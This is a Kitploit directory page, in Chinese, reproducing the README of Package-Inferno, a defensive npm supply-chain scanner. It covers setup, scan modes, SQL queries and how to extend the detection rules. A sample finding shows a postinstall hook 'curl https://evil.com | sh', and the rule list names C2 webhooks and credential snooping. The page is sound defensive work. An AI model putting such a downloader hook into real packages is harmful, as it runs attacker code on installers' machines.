Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Package-Inferno — 面向社区的公共软件包扫描器 | Kitploit
工具/GitHubGitHub/mhaggis/package-inferno
静态分析漏洞扫描器容器安全恶意软件分析云安全DevSecOps秘密检测威胁情报供应链安全
GitHubmhaggis/package-inferno

Package-Inferno

面向社区的公共软件包扫描器

查看仓库
1337个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PackageInferno

PackageInferno Logo

极度简单、Docker优先的npm供应链扫描器。仅需一个Compose文件即可运行:

  • Enumerator(枚举器)→ 构建包队列
  • Fetcher(获取器)→ 下载tarball(可选上传至S3)
  • Analyzer(分析器)→ 静态分析 + 可选YARA
  • Postgres → 本地数据库存储发现结果
  • Streamlit Dashboard(仪表板)→ 在 http://localhost:8501 可视化查看结果

这是纯容器版本。该项目可扩展至使用EC2、SQS和RDS。工具集中已为此做了大部分配置。


你将获得

  • Docker中端到端流水线(宿主机只需安装Docker)
  • 通过 scan.yml 可配置规则(白名单、阈值、YARA)
  • 本地Postgres模式 + 扫描历史 (scan_runs) 即开即用
  • 可选S3上传tarball和发现结果(通过 ~/.aws 提供凭据)
  • Streamlit仪表板:搜索、下钻和分析

目录

  • docker-compose.yml – 服务:db, enumerator, fetcher, analyzer, dashboard, init-db
  • enumerator/ – 构建NDJSON队列的Node工作进程
  • fetcher/ – 下载tarball的Node工作进程(如果启用则上传至S3)
  • analyzer/ – Python静态分析器(+ 可选内联YARA)
  • dashboard/ – Streamlit应用(端口8501)
  • infra/migrations.sql – 核心DB模式(packages, versions, findings, scores, indexes)
  • infra/20251106_scan_runs.sql – 扫描历史表
  • scan.yml – 分析配置(规则、评分、白名单、YARA)
  • scripts/run_pipeline.sh – 运行 enumerate → fetch → analyze
  • scripts/init_db.sh – 引导DB模式
  • scripts/test_setup.sh – 自动设置验证
  • SCANNING_GUIDE.md – 详细扫描策略和示例

快速开始(本地)

前提条件:安装了Docker Desktop(或引擎)并支持Compose v2。

一键安装

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

此命令会将仓库克隆到 ~/package-inferno 并给出启动说明。

选项A:使用预构建镜像(最快)

从GitHub容器注册表拉取并运行预构建容器:

root@kitploit:~
# 克隆仓库(获取配置文件和脚本)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# 使用预构建镜像运行
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

可用镜像:

  • ghcr.io/mhaggis/package-inferno/enumerator:main
  • ghcr.io/mhaggis/package-inferno/fetcher:main
  • ghcr.io/mhaggis/package-inferno/analyzer:main

选项B:从源码构建

自动设置验证

运行测试脚本来验证你的安装:

root@kitploit:~
./scripts/test_setup.sh

该脚本会:

  • ✓ 检查Docker和Docker Compose
  • ✓ 启动并初始化数据库
  • ✓ 运行测试扫描(2个包)
  • ✓ 验证发现结果是否正确存储

手动设置

  1. 启动Postgres并初始化模式:
root@kitploit:~
docker compose up -d db
./scripts/init_db.sh
  1. 运行流水线:
root@kitploit:~
./scripts/run_pipeline.sh
  1. 启动仪表板:
root@kitploit:~
docker compose up -d dashboard
# 打开 http://localhost:8501

发现结果保存在 ./out/findings/*.findings.json 中,启用DB时也会存储在 findings 表中。


扫描模式

PackageInferno支持多种扫描策略,适用于不同目标:

1. 扫描特定包(推荐用于测试)

定位你想要分析的具体包:

root@kitploit:~
# 单条命令,使用种子
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# 或从文件读取
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

我最初如何测试: 使用 SEEDS="is-odd,is-even" 快速验证。

2. 从npm注册表扫描(_all_docs)

从npm注册表分页扫描包:

root@kitploit:~
# 清理之前的运行结果
rm -rf downloads/* out/*

# 扫描2页,每页10个包(共20个包)
export MAX_CHUNKS=2        # 页面数
export CHUNK_LIMIT=10      # 每页包数
unset SEEDS                # 重要:禁用种子模式

# 为更好可视化而分别运行各步骤
docker compose run --rm enumerator  # 发现并排队
docker compose run --rm fetcher     # 下载tarball
docker compose run --rm analyzer    # 扫描威胁

示例输出:

root@kitploit:~
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

3. 持续监控(无界扫描)

扫描整个npm注册表:

root@kitploit:~
export MAX_CHUNKS=0        # 0 = 无界
export CHUNK_LIMIT=100     # 更大的批次以提高效率
./scripts/run_pipeline.sh

警告: 这将运行数小时/数天,扫描数十万个包。请监控磁盘空间和数据库大小。

4. 恢复中断的扫描

枚举器将状态保存到 ./out/enumerator_state.json,包含游标位置:

root@kitploit:~
{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

只需重新运行流水线,它会从上次游标处恢复:

root@kitploit:~
./scripts/run_pipeline.sh  # 自动恢复

强制全新扫描:

root@kitploit:~
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

示例扫描结果

来自22个包的2页扫描,以下是PackageInferno检测到的结果:

root@kitploit:~
-- 按分数排序的高可疑包
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- 结果:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

为什么 rendition 如此可疑?

  • 57 × url_outside_allowlist - 非白名单域名
  • 46 × suspicious_pattern - Shell/eval模式
  • 12 × advanced_obfuscation - 十六进制编码、XOR、字符串数组
  • 6 × big_base64_blob - 大型编码负载
  • 18 × url_in_code - 嵌入URL

评分系统(在 scan.yml 中配置)会聚合这些发现,产生风险分数和标签(clean、suspicious 或 malicious)。


探索结果

通过仪表板(推荐)

运行 docker compose up -d dashboard 后打开 http://localhost:8501

功能:

  • 📊 概览标签页:汇总统计、分数分布图
  • 🔍 搜索标签页:按名称查找包,按风险标签筛选
  • ⚠️ 高风险标签页:前恶意包及其下钻详情
  • 🎯 C2分析:含有已知外泄端点的包
  • 📈 分析标签页:趋势、常见规则、时序分析

通过数据库查询

直接SQL访问,用于自定义分析:

root@kitploit:~
# 连接到数据库
docker exec -it pi-postgres psql -U piuser -d packageinferno

有用查询:

root@kitploit:~
-- 含有凭据窃取企图的包
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- 发现的所有C2/Webhook目标
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- 拼写错误攻击
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- 包含原生二进制文件的包
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

通过JSON文件

发现结果也会以结构化JSON保存到 ./out/findings/:

root@kitploit:~
# 查看特定包的发现结果
cat out/findings/[email protected] | jq .

# 按严重程度统计发现数
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# 提取所有发现的C2 URL
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

可选:S3集成(tarball和发现结果)

如果你希望将制品放入S3:

  • 创建桶(自行命名):
    • package-inferno-tarballs(原始npm tarball)
    • package-inferno-findings(分析器输出)
  • 确保你的 ~/.aws 包含有效凭据(基于配置文件或环境)。
  • 在运行流水线之前导出环境变量:
root@kitploit:~
export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # 可选;或依赖环境凭据

Compose将 ~/.aws 挂载到fetcher和analyzer中。如果 LOCAL_ONLY=false,fetcher会上传tarball到 S3_TARBALLS。如果设置了 S3_FINDINGS,analyzer会在本地写入后将发现JSON上传。

最小IAM策略示例(附加到你正在使用的用户/角色):

root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

配置

主要控制旋钮位于 scan.yml。亮点:

  • analysis.allow_domains – 不会触发“白名单外”的域名
  • analysis.allowlist.build_tools – 良性构建步骤的正则表达式
  • analysis.yara.* – 启用内联YARA(默认开启)、规则路径、大小/时间限制
  • scoring.rule_weights 和 scoring.thresholds – 调整“可疑/恶意”阈值

你可以设置的容器环境变量:

  • 枚举器:
    • DAYS(默认30)、CHUNK_LIMIT(默认100)、MAX_CHUNKS(默认5)
    • SEEDS、SEEDS_FILE – 种子包名称
    • LOCAL_ONLY=true(排队到文件)、DB_URL 用于去重(针对DB)
  • 获取器:
    • LOCAL_ONLY=false 以上传tarball到S3
    • S3_TARBALLS、AWS_REGION、AWS_PROFILE
  • 分析器:
    • MAX_EXTRACT_BYTES=0 表示无限制提取
    • S3_FINDINGS、AWS_REGION

DB URL已为本地Compose预先配置:

root@kitploit:~
postgres://piuser:pipass@db:5432/packageinferno

工作原理(流程)

  1. 枚举器访问npm注册表,将NDJSON队列写入 ./out/fetch_queue.ndjson(并可选择将“已排队”版本upsert到DB)。
  2. 获取器读取队列,将tarball下载到 ./downloads,如果配置了则上传到S3。
  3. 分析器使用启发式规则+可选YARA扫描tarball,并将结构化发现JSON写入 ./out/findings。如果配置了DB,它会upsert发现结果和分数。
  4. 仪表板查询本地DB以可视化统计数据、搜索包以及下钻细节。

组件详情

枚举器(enumerator/src/enumerator.js)

用途: 发现要扫描的npm包并构建工作队列。

功能:

  • 从npm注册表和复制推送获取包元数据
  • 支持多种模式:
    • 种子模式:通过 SEEDS 环境变量或 SEEDS_FILE 扫描特定包
    • 变更推送:监控 _changes 端点以获取最近更新
    • 全量扫描:通过 _all_docs 端点分页(支持可恢复游标)
  • 针对DB去重,避免重新扫描已分析的版本
  • 输出NDJSON队列到 ./out/fetch_queue.ndjson 或SQS

关键环境变量:

  • SEEDS="pkg1,pkg2" - 逗号分隔的要扫描的包名
  • SEEDS_FILE - 每行一个包的文本文件路径
  • MAX_CHUNKS=5 - 限制分页(0 = 无界)
  • CHUNK_LIMIT=100 - 每次API请求的包数
  • DB_URL - 用于去重的Postgres连接

示例用法:

root@kitploit:~
# 扫描特定包
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# 从文件扫描
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

获取器(fetcher/src/fetcher.js)

用途: 从注册表下载npm tarball。

功能:

  • 从 ./out/fetch_queue.ndjson(或SQS)读取队列
  • 使用重试逻辑和退避算法下载tarball
  • 验证SHA1校验和(不匹配时发出警告)
  • 保存到 ./downloads/,命名为 [email protected]
  • 可选上传到S3桶(S3_TARBALLS)
  • 将完成的任务转发到分析器队列(SQS模式)

关键环境变量:

  • LOCAL_ONLY=true - 跳过S3上传(仅本地模式)
  • S3_TARBALLS - 用于存储tarball的S3桶名
  • DOWNLOAD_DIR=./downloads - 本地输出目录
  • MAX_RETRIES=5 - HTTP重试次数

S3键格式: npm-raw-tarballs/{name}/{version}.tgz


分析器(analyzer/src/analyzer.py)

用途: 检测包中恶意模式的静态分析引擎。

功能:

  • 解压tarball,并带有安全检查(路径穿越、大小限制)
  • 解析 package.json 以获取元数据和生命周期钩子
  • 扫描所有文件以查找可疑模式:
    • 生命周期钩子:安装脚本中的shell调用、下载器
    • 网络活动:HTTP客户端、C2 webhook(Discord、Telegram等)
    • 混淆:高熵、base64块、十六进制编码、XOR
    • 凭据窃取:环境变量访问、写入敏感路径的文件系统
    • 拼写错误攻击:Levenshtein距离 + unicode替换检查
    • 钓鱼:伪造验证码、凭据表单、iframe嵌入
    • 二进制文件:原生可执行文件、WASM、预构建获取器
  • 如果启用,运行YARA规则(从YARA-Forge下载)
  • 使用 scan.yml 中的加权规则对发现结果进行评分
  • 将结构化JSON写入 ./out/findings/ 并upsert到DB

检测规则(完整列表见 analyzer/src/analyzer.py):

  • lifecycle_script - 危险的install/postinstall钩子
  • url_outside_allowlist - 对非允许域名的网络调用
  • c2_webhook - 已知外泄端点(Discord、Slack、Telegram)
  • env_snoop - 访问AWS密钥、令牌、密码
  • writes_outside_pkg - 文件系统写入到 .ssh、.npmrc、系统目录
  • typosquat_detected - 包名称与流行包相似
  • advanced_obfuscation - 十六进制、XOR、字符串数组、控制流扁平化
  • yara_match - YARA规则命中(恶意软件、漏洞利用、Webshell)
  • phishing_form - 凭据收割表单
  • native_binary_present - PE/ELF/Mach-O可执行文件

关键环境变量:

  • MAX_EXTRACT_BYTES=0 - 解压大小限制(0 = 无限制)
  • SCAN_YML=/app/scan.yml - 配置文件路径
  • DB_URL - 用于发现结果存储的Postgres连接
  • S3_FINDINGS - 用于上传发现结果的S3桶

输出格式(*.findings.json):

root@kitploit:~
{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "高风险postinstall钩子:shell_spawn, downloader"
      }
    }
  ]
}

自定义分析器

添加新检测规则

1. 基于模式的检测(添加到 analyzer/src/analyzer.py):

root@kitploit:~
# 定义正则模式
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# 添加到 analyze_file_bytes() 函数中
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... 已有代码 ...
    
    # 你的自定义检查
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': '检测到 dangerous-function 调用'
            }
        })
    
    return out

2. 添加评分权重(scan.yml):

root@kitploit:~
scoring:
  rule_weights:
    custom_dangerous_function: 6  # 你的新规则
    # ... 已有规则 ...
  thresholds:
    suspicious: 7
    malicious: 12

3. 更新评分函数(analyzer/src/analyzer.py):

root@kitploit:~
def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... 已有规则 ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... 函数其余部分 ...

添加自定义YARA规则

1. 创建自定义规则文件(yara-rules/custom.yar):

root@kitploit:~
rule CustomMalware {
    meta:
        description = "检测自定义威胁模式"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

2. 更新 scan.yml:

root@kitploit:~
analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # 指向你的规则
    max_file_size_mb: 10
    timeout_seconds: 30

3. 在 docker-compose.yml 中挂载自定义规则:

root@kitploit:~
analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

域名白名单

将可信域名添加到 scan.yml 以减少误报:

root@kitploit:~
analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # 添加你的域名

良性构建工具

白名单合法构建命令:

root@kitploit:~
analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b

故障排除

  • “数据库连接失败”:确保 docker compose up -d db 正在运行,然后重新运行 ./scripts/init_db.sh。
  • 推送到S3时出现“AccessDenied”:验证 ~/.aws/credentials、AWS_REGION 以及桶策略/权限。
  • YARA超时:在 scan.yml 中降低文件大小限制或禁用内联YARA(analysis.yara.enabled: false)。
  • npm的速率限制:流水线会使用退避算法重试并设置UA;你可以降低 CHUNK_LIMIT 或逐步增加 MAX_CHUNKS。
下载工具
模式用例速度覆盖范围命令
特定种子测试/调查已知包最快针对性SEEDS="pkg1,pkg2"
小批量验证设置、样本扫描快10-100个包MAX_CHUNKS=2 CHUNK_LIMIT=10
全量注册表全面供应链审计数小时至数天200万+包MAX_CHUNKS=0 CHUNK_LIMIT=100
变更馈送监控新版本(已自动包含)实时最近更新内置
  • DB_URL 用于将发现结果和分数写入Postgres